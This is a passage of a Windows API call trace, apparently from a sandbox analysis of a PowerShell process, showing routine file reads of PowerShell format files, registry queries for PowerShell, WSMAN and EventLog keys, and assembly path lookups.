lpOverlapped=0x0) returned 1 [0075.718] GetLastError () returned 0x0 [0075.718] ReadFile (in: hFile=0x354, lpBuffer=0x32b8dc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x32b8dc8*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.718] GetLastError () returned 0x0 [0075.719] ReadFile (in: hFile=0x354, lpBuffer=0x32b8dc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x32b8dc8*, lpNumberOfBytesRead=0x29e654*=0x8b4, lpOverlapped=0x0) returned 1 [0075.719] GetLastError () returned 0x0 [0075.719] ReadFile (in: hFile=0x354, lpBuffer=0x32b821c, nNumberOfBytesToRead=0x34c, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x32b821c*, lpNumberOfBytesRead=0x29e654*=0x0, lpOverlapped=0x0) returned 1 [0075.719] GetLastError () returned 0x0 [0075.719] ReadFile (in: hFile=0x354, lpBuffer=0x32b8dc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x32b8dc8*, lpNumberOfBytesRead=0x29e654*=0x0, lpOverlapped=0x0) returned 1 [0075.719] GetLastError () returned 0x0 [0075.719] CloseHandle (hObject=0x354) returned 1 [0075.719] GetLastError () returned 0x0 [0075.719] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", nBufferLength=0x105, lpBuffer=0x29e1b4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", lpFilePart=0x0) returned 0x48 [0075.719] GetLastError () returned 0x0 [0075.719] SetErrorMode (uMode=0x1) returned 0x1 [0075.719] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershelltrace.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x32d9dc4 | out: lpFileInformation=0x32d9dc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1a87f7, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a1a87f7, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd36b30fc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x48b4)) returned 1 [0075.720] GetLastError () returned 0x0 [0075.720] SetErrorMode (uMode=0x1) returned 0x1 [0075.720] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", nBufferLength=0x105, lpBuffer=0x29e180, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", lpFilePart=0x0) returned 0x48 [0075.720] GetLastError () returned 0x0 [0075.720] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e5d8 | out: phkResult=0x29e5d8*=0x354) returned 0x0 [0075.720] RegQueryValueExW (in: hKey=0x354, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x29e620, lpData=0x0, lpcbData=0x29e61c*=0x0 | out: lpType=0x29e620*=0x1, lpData=0x0, lpcbData=0x29e61c*=0x56) returned 0x0 [0075.720] RegQueryValueExW (in: hKey=0x354, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x29e620, lpData=0x3566f8, lpcbData=0x29e61c*=0x56 | out: lpType=0x29e620*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x29e61c*=0x56) returned 0x0 [0075.720] RegCloseKey (hKey=0x354) returned 0x0 [0075.720] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", nBufferLength=0x105, lpBuffer=0x29e180, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", lpFilePart=0x0) returned 0x48 [0075.720] GetLastError () returned 0x0 [0075.720] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", nBufferLength=0x105, lpBuffer=0x29e114, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShellTrace.format.ps1xml", lpFilePart=0x0) returned 0x48 [0075.720] GetLastError () returned 0x0 [0075.722] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0xf2f35e00, Data2=0xb639, Data3=0x45e8, Data4=([0]=0x92, [1]=0xdd, [2]=0xb7, [3]=0xfd, [4]=0xa9, [5]=0x41, [6]=0x44, [7]=0x1c))) returned 0x0 [0075.722] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x2ed11080, Data2=0xe500, Data3=0x4d7c, Data4=([0]=0x8f, [1]=0x34, [2]=0x85, [3]=0x26, [4]=0x13, [5]=0x80, [6]=0xa4, [7]=0x99))) returned 0x0 [0075.722] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", nBufferLength=0x105, lpBuffer=0x29e0ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", lpFilePart=0x0) returned 0x41 [0075.722] GetLastError () returned 0x0 [0075.722] SetErrorMode (uMode=0x1) returned 0x1 [0075.722] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\registry.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x354 [0075.722] GetLastError () returned 0x0 [0075.722] GetFileType (hFile=0x354) returned 0x1 [0075.722] SetErrorMode (uMode=0x1) returned 0x1 [0075.722] GetFileType (hFile=0x354) returned 0x1 [0075.723] ReadFile (in: hFile=0x354, lpBuffer=0x32efcd4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x32efcd4*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.724] GetLastError () returned 0x0 [0075.725] ReadFile (in: hFile=0x354, lpBuffer=0x32efcd4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x32efcd4*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.725] GetLastError () returned 0x0 [0075.726] ReadFile (in: hFile=0x354, lpBuffer=0x32efcd4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x32efcd4*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.726] GetLastError () returned 0x0 [0075.726] ReadFile (in: hFile=0x354, lpBuffer=0x32efcd4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x32efcd4*, lpNumberOfBytesRead=0x29e654*=0x1000, lpOverlapped=0x0) returned 1 [0075.726] GetLastError () returned 0x0 [0075.727] ReadFile (in: hFile=0x354, lpBuffer=0x32efcd4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x32efcd4*, lpNumberOfBytesRead=0x29e654*=0xe98, lpOverlapped=0x0) returned 1 [0075.727] GetLastError () returned 0x0 [0075.727] ReadFile (in: hFile=0x354, lpBuffer=0x32ef30c, nNumberOfBytesToRead=0x168, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x32ef30c*, lpNumberOfBytesRead=0x29e654*=0x0, lpOverlapped=0x0) returned 1 [0075.727] GetLastError () returned 0x0 [0075.727] ReadFile (in: hFile=0x354, lpBuffer=0x32efcd4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e654, lpOverlapped=0x0 | out: lpBuffer=0x32efcd4*, lpNumberOfBytesRead=0x29e654*=0x0, lpOverlapped=0x0) returned 1 [0075.727] GetLastError () returned 0x0 [0075.727] CloseHandle (hObject=0x354) returned 1 [0075.727] GetLastError () returned 0x0 [0075.727] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", nBufferLength=0x105, lpBuffer=0x29e1b4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", lpFilePart=0x0) returned 0x41 [0075.727] GetLastError () returned 0x0 [0075.727] SetErrorMode (uMode=0x1) returned 0x1 [0075.727] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\registry.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x3310cd0 | out: lpFileInformation=0x3310cd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a1ce956, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a1ce956, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd372551c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x4e98)) returned 1 [0075.727] GetLastError () returned 0x0 [0075.727] SetErrorMode (uMode=0x1) returned 0x1 [0075.727] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", nBufferLength=0x105, lpBuffer=0x29e180, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", lpFilePart=0x0) returned 0x41 [0075.727] GetLastError () returned 0x0 [0075.728] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e5d8 | out: phkResult=0x29e5d8*=0x354) returned 0x0 [0075.728] RegQueryValueExW (in: hKey=0x354, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x29e620, lpData=0x0, lpcbData=0x29e61c*=0x0 | out: lpType=0x29e620*=0x1, lpData=0x0, lpcbData=0x29e61c*=0x56) returned 0x0 [0075.728] RegQueryValueExW (in: hKey=0x354, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x29e620, lpData=0x3566f8, lpcbData=0x29e61c*=0x56 | out: lpType=0x29e620*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x29e61c*=0x56) returned 0x0 [0075.728] RegCloseKey (hKey=0x354) returned 0x0 [0075.728] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", nBufferLength=0x105, lpBuffer=0x29e180, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", lpFilePart=0x0) returned 0x41 [0075.728] GetLastError () returned 0x0 [0075.728] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", nBufferLength=0x105, lpBuffer=0x29e114, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Registry.format.ps1xml", lpFilePart=0x0) returned 0x41 [0075.728] GetLastError () returned 0x0 [0075.743] VirtualQuery (in: lpAddress=0x29d330, lpBuffer=0x29e330, dwLength=0x1c | out: lpBuffer=0x29e330*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0075.743] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x8159f49f, Data2=0xc325, Data3=0x4975, Data4=([0]=0xae, [1]=0x24, [2]=0x7c, [3]=0xad, [4]=0x93, [5]=0x78, [6]=0x9d, [7]=0x79))) returned 0x0 [0075.743] CoCreateGuid (in: pguid=0x29e648 | out: pguid=0x29e648*(Data1=0x269c82a4, Data2=0xb1b, Data3=0x4372, Data4=([0]=0x82, [1]=0x7a, [2]=0x39, [3]=0x5e, [4]=0x6f, [5]=0x69, [6]=0xdf, [7]=0xa1))) returned 0x0 [0075.767] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x29e320, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0075.767] GetLastError () returned 0x57 [0075.767] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", nBufferLength=0x105, lpBuffer=0x29e320, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Diagnostics\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Diagnostics.dll", lpFilePart=0x0) returned 0x8e [0075.767] GetLastError () returned 0x57 [0075.771] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x29e320, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0075.772] GetLastError () returned 0x57 [0075.772] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x29e320, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0075.772] GetLastError () returned 0x57 [0075.772] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29e320, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.772] GetLastError () returned 0x57 [0075.773] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29e320, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0075.773] GetLastError () returned 0x57 [0075.773] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x29e320, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0075.773] GetLastError () returned 0x57 [0075.774] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x29e320, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0075.774] GetLastError () returned 0x57 [0075.775] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x29e320, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0075.775] GetLastError () returned 0x57 [0075.775] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x29e320, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0075.775] GetLastError () returned 0x57 [0075.775] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x29e320, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0075.776] GetLastError () returned 0x57 [0075.776] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x29e320, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0075.776] GetLastError () returned 0x57 [0075.777] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x29e320, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0075.777] GetLastError () returned 0x57 [0075.777] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x29e320, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0075.777] GetLastError () returned 0x57 [0075.793] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3566f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0075.793] GetLastError () returned 0xcb [0075.796] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3566f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0075.796] GetLastError () returned 0xcb [0075.798] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3566f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0075.798] GetLastError () returned 0xcb [0075.800] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WSMAN", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e6cc | out: phkResult=0x29e6cc*=0x354) returned 0x0 [0075.802] RegQueryInfoKeyW (in: hKey=0x354, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x29e71c, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29e720, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x29e71c*=0x6, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29e720*=0x2, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0075.803] RegEnumValueW (in: hKey=0x354, dwIndex=0x0, lpValueName=0x3566f8, lpcchValueName=0x29e744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="StackVersion", lpcchValueName=0x29e744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0075.803] RegEnumValueW (in: hKey=0x354, dwIndex=0x1, lpValueName=0x3566f8, lpcchValueName=0x29e744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="SupportsCompatListeners", lpcchValueName=0x29e744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0075.803] RegQueryValueExW (in: hKey=0x354, lpValueName="StackVersion", lpReserved=0x0, lpType=0x29e724, lpData=0x0, lpcbData=0x29e720*=0x0 | out: lpType=0x29e724*=0x1, lpData=0x0, lpcbData=0x29e720*=0x8) returned 0x0 [0075.803] RegQueryValueExW (in: hKey=0x354, lpValueName="StackVersion", lpReserved=0x0, lpType=0x29e724, lpData=0x3566f8, lpcbData=0x29e720*=0x8 | out: lpType=0x29e724*=0x1, lpData="2.0", lpcbData=0x29e720*=0x8) returned 0x0 [0076.066] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WSMAN", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e688 | out: phkResult=0x29e688*=0x324) returned 0x0 [0076.067] RegQueryInfoKeyW (in: hKey=0x324, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x29e6d8, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29e6dc, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x29e6d8*=0x6, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29e6dc*=0x2, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0076.067] RegEnumValueW (in: hKey=0x324, dwIndex=0x0, lpValueName=0x3566f8, lpcchValueName=0x29e700, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="StackVersion", lpcchValueName=0x29e700, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0076.067] RegEnumValueW (in: hKey=0x324, dwIndex=0x1, lpValueName=0x3566f8, lpcchValueName=0x29e700, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="SupportsCompatListeners", lpcchValueName=0x29e700, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0076.067] RegQueryValueExW (in: hKey=0x324, lpValueName="StackVersion", lpReserved=0x0, lpType=0x29e6e0, lpData=0x0, lpcbData=0x29e6dc*=0x0 | out: lpType=0x29e6e0*=0x1, lpData=0x0, lpcbData=0x29e6dc*=0x8) returned 0x0 [0076.067] RegQueryValueExW (in: hKey=0x324, lpValueName="StackVersion", lpReserved=0x0, lpType=0x29e6e0, lpData=0x3566f8, lpcbData=0x29e6dc*=0x8 | out: lpType=0x29e6e0*=0x1, lpData="2.0", lpcbData=0x29e6dc*=0x8) returned 0x0 [0076.069] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3566f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0076.069] GetLastError () returned 0xcb [0076.070] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3566f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0076.070] GetLastError () returned 0xcb [0076.093] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e648 | out: phkResult=0x29e648*=0x328) returned 0x0 [0076.093] RegQueryInfoKeyW (in: hKey=0x328, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x29e6b0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29e6ac, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x29e6b0*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x29e6ac*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0076.094] RegEnumKeyExW (in: hKey=0x328, dwIndex=0x0, lpName=0x3566f8, lpcchName=0x29e6cc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x29e6cc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0076.094] RegEnumKeyExW (in: hKey=0x328, dwIndex=0x1, lpName=0x3566f8, lpcchName=0x29e6cc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x29e6cc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0076.094] RegEnumKeyExW (in: hKey=0x328, dwIndex=0x2, lpName=0x3566f8, lpcchName=0x29e6cc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x29e6cc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0076.094] RegEnumKeyExW (in: hKey=0x328, dwIndex=0x3, lpName=0x3566f8, lpcchName=0x29e6cc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x29e6cc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0076.094] RegEnumKeyExW (in: hKey=0x328, dwIndex=0x4, lpName=0x3566f8, lpcchName=0x29e6cc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x29e6cc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0076.094] RegEnumKeyExW (in: hKey=0x328, dwIndex=0x5, lpName=0x3566f8, lpcchName=0x29e6cc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x29e6cc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0076.095] RegEnumKeyExW (in: hKey=0x328, dwIndex=0x6, lpName=0x3566f8, lpcchName=0x29e6cc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x29e6cc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0076.095] RegEnumKeyExW (in: hKey=0x328, dwIndex=0x7, lpName=0x3566f8, lpcchName=0x29e6cc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", 